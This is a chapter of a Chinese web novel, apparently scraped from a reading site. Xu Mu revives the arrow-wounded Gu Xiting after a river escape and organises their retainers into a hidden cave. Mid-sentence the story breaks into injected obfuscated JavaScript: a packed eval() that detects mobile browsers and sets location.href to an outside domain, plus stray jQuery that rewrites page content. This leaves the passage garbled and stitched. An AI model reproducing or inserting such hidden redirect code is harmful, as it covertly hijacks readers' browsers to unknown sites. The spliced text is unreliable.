许暮的水性并非绝佳,平日里在平静的水域还算尚可,但在这凶险的回龙湾中,又抱着顾溪亭,这让许暮的每一刻都如同在深渊挣扎。
但眼睁睁看着顾溪亭在自己眼前被箭射中,看他像断了线的风筝一样下坠,这种强烈的视觉冲击,让许暮求生的意念在心底疯狂爆发。
一起活下去,这念头点燃了许暮身体里所有的力量。
许暮双腿奋力蹬水,手臂死死箍住顾溪亭的腰身,用尽全身力气拖拽着他向上游去。
他从未觉得时间如此漫长。
待许暮终于冲破水面,冰冷的空气夹杂着水汽猛地灌入肺腑,呛得他剧烈咳嗽起来,但他顾不上自己,立刻低头看向怀中的顾溪亭。
顾溪亭的眼睛紧闭着,肩头不断涌出鲜血。
“主子!公子!”岸上传来顾意的呼喊声,他和惊蛰等人早已焦急地守在岸边。
“救人!”许暮的声音带着劫后余生的颤抖和无法掩饰的恐慌。
顾意听到许暮的声音,立马冲向水中,和许暮一起将顾溪亭架到岸边。
顾溪亭毫无生气地躺在碎石滩上,脸色灰败,左肩的伤口不断渗血。
“主子!”顾意跪在顾溪亭身边,声音里带着哭腔,眼泪也不受控制地落下来,其他围过来的九焙司众人看到顾溪亭这样,脸上也都写满了焦急和绝望。
许暮浑身湿透,冷得发抖,但他强迫自己冷静下来,他奋力推开顾意,跪在顾溪亭身侧,双手交叠,用尽全力按压顾溪亭的胸膛。
紧接着,他又深吸一口气,俯下身捏住顾溪亭的鼻子,将自己的气息渡入他口中。
“顾藏舟!”许暮一边疯了一样地给顾溪亭渡气,一边低吼着,“你给我醒过来!你若死了我绝不独活……这世道……我一个人掀不翻……”
时间一点点过去,一下又一下,顾溪亭还是没有反应……就在许暮的心一点点沉入谷底,几乎要被绝望吞噬时——
“咳……咳咳咳!”顾溪亭的身体猛地一颤,剧烈地咳嗽起来。
“主子/大人!”顾意等人都扑了过来。
许暮紧绷的身体瞬间松懈下来,巨大的脱力感让他直接瘫坐在地上,泪水汹涌而出。
他大口喘着气,看着顾溪亭胸口微弱的起伏,只觉得浑身力气都被抽干了。
“顾意,吹哨子。”许暮看着顾溪亭苍白的脸,强迫自己保持冷静。
他还受着伤,必须赶紧把九焙司冲散的众人召唤过来,尤其是醍醐和冰绡。
大家陆续跳船,相距并不太远,听到哨子声后纷纷聚集过来,醍醐和冰绡也终于赶到。
她们拨开人群,迅速跪到顾溪亭身边。
“大人!”两人齐声唤道。
两人随身携带的药包虽然湿透,但因为这次要走水路,此前已将里面的药材用油纸和蜡做了严密的防水处理,此刻依然可用。
医毒本是一家,两人配合默契,动作迅速地处理起顾溪亭的伤口。
醍醐小心查看嵌入顾溪亭左肩的箭镞,冰绡迅速调配止血药粉。
当她咬牙将箭矢拔出时,昏迷中的顾溪亭发出一声压抑的闷哼,身体猛地抽搐了一下。
许暮的心仿佛也被那一下狠狠揪住,呼吸一滞,别过头眼泪流得更凶。
“大人伤得极重,但好在射偏了寸许,未伤及心脉。”冰绡一边快速上药包扎,一边沉声向许暮说着顾溪亭的情况,“大人失血过多,又呛了水,但……性命暂时无碍。”
性命无碍……许暮紧绷的神经终于得到了一丝喘息。
他转过头,看着顾溪亭苍白如纸的脸,心中涌起一股巨大的后怕。
如果当时连最后一枚箭矢都没有了,如果他没有及时射出那一箭,他此刻,是不是已经永远失去了眼前这个人?
许暮颤抖着抚上顾溪亭冰冷的脸颊,这个平日里仿佛不知疲倦精力永远旺盛的男人,此刻对他的触碰却毫无反应。
“许暮……”惊蛰轻轻唤醒了沉浸在巨大情绪波动中的许暮。
许暮看向惊蛰,猛地回神,深吸一口气强行压下翻涌的心绪。
他抹去脸上的泪水,看了一圈周围狼狈不堪的众人,让自己打起精神。
“醍醐,冰绡。”许暮的声音有些沙哑,但异常清晰,“先给大伙治伤,尤其是裁光,她的伤很重。”
“是,公子。”两人立刻应声,开始忙碌起来。
许暮的目光转向漱玉和涧踪,看到两人虽然衣衫破损还沾染血迹,但好在伤势不重,稍微放下心来。
“漱玉,涧踪。”许暮接着沉声道,“此处不宜久留,你们处理一下自己的伤口,然后去附近看能否寻到一处隐蔽的山洞,供大家栖身。”
“是!”两人抱拳领命,迅速转身没入密林之中。
许暮的目光再次扫过众人,提高声音:“其他人留在原地,伤势严重的,立刻让醍醐和冰绡处理,伤势较轻的,稍后到了落脚点再行包扎。岫影!潜鳞!”
“属下在!”岫影和潜鳞立刻上前。
“你二人带几个状态尚可的兄弟,守在外围警戒,有任何风吹草动,立刻示警。”
“是!”
“冰锷,寒泓。”
“属下在!”
“你们带人,护在里圈。”
“遵命!”
原本因顾溪亭重伤昏迷而有些慌乱无措的九焙司众人,在许暮的安排下,仿佛瞬间找到了主心骨。
他们脸上的无措褪去,众人迅速行动起来,各司其职,警戒的警戒,救治的救治,休整的休整。
惊蛰站在一旁,看着许暮沉着冷静地指挥着九焙司众人,那临危不乱的气度,恍惚间,竟与平日里指挥若定的顾溪亭有了微妙的重合。
他心中暗叹,情之一字,当真让人脱胎换骨。
没过多久,涧踪的身影从密林中钻出:“公子,找到了,前方不远有一处山洞,位置隐蔽,入口狭窄,里面空间尚可,漱玉留下准备接应大家了。”
顾意小心翼翼地背起依旧昏迷的顾溪亭,动作轻柔,生怕牵动他的伤口。
许暮想要起身帮忙,谁知双腿一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192761|181048||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
软,差点摔倒。
刚才一番,几乎耗尽了他的体力,加上情绪大起大落,此刻放松下来,身体便发出了抗议。
“小心!”惊蛰眼疾手快,一把扶住了许暮。
许暮借着他的力站稳,摇了摇头:“我没事。”
两人无需多言,互相搀扶着,跟在顾意身后,深一脚浅一脚地朝着密林深处走去。
山洞的位置确实隐蔽,入口被茂密的藤蔓遮掩,若非涧踪细心,很难被发现。
进入洞内,空间比想象中宽敞许多,足够容纳所有人。
漱玉已经点燃了一堆篝火,黄色的火焰驱散了洞内的阴冷和黑暗,带来了一丝暖意,稍稍驱散了众人身上的寒气。
顾意小心翼翼地将顾溪亭放在漱玉铺好的厚厚草垫上。
火光下,顾溪亭的脸色依旧苍白得吓人,肩头包扎的白布隐隐透出鲜血。
顾意看着自家主子这副模样,鼻子一酸,眼泪又忍不住掉了下来,他自小跟着顾溪亭,何曾见他受过如此重的伤?
说到底,顾意也还是个半大孩子。
“别哭了。”许暮的声音从顾意身后传来,“他会醒过来的。”他走到顾溪亭身边,蹲下身,仔细查看他的情况。
外面天色已经完全黑透,所有人也都疲惫不堪。
许暮蹲在顾溪亭身边,对众人道:“惊鸿司霜刃司安排状态尚可的兄弟轮流守夜,其他人,抓紧时间休息,恢复体力,余下的事,等明日天亮再说。”
众人领命散开去做自己的事情。
醍醐和冰绡再次检查了顾溪亭的状态,眉头紧锁:“大人开始发热了。”
许暮的心猛地一沉,发热,是重伤后最凶险的关口。
“只要过了今晚,热度能退下去,便无大碍。”冰绡补充道,神情看起来并没有太慌张。
“我知道了,你们先去休息,这里有我,他有情况我再叫醒你们。”
醍醐和冰绡对视一眼,知道许暮此刻定要守在顾溪亭身边,便不再多言,点头退到一旁休息。
洞内渐渐安静下来,只剩下篝火燃烧的噼啪声和众人疲惫的呼吸声。
许暮靠着冰冷的洞壁,蜷起双腿坐着。
火光映在许暮苍白的脸上,照亮了他眼中化不开的担忧,他一错不错地看着草垫上昏迷不醒的顾溪亭,生怕错过他一点动静。
惊蛰轻轻走到许暮身边坐下,递给他一个水囊:“顾大人吉人自有天相,一定会没事的。”
许暮接过水囊握在手中,目光依旧停留在顾溪亭脸上,他自嘲般说道:“我这一辈子,似乎一直在失去,他才刚刚让我知道,拥有是什么滋味。”
惊蛰亲眼目睹过许暮被带走时顾溪亭的蜕变,而此刻,许暮又是同样的情况。
这两人,非得被逼到生死关头,才能看清他们早已将命都拴在对方身上了。
他轻轻拍了拍许暮的肩膀温声道:“正因如此,有些话,待他醒了,你可以亲口告诉他。”
许暮沉默着,没有回答,只是将手中的水囊握得更紧了些。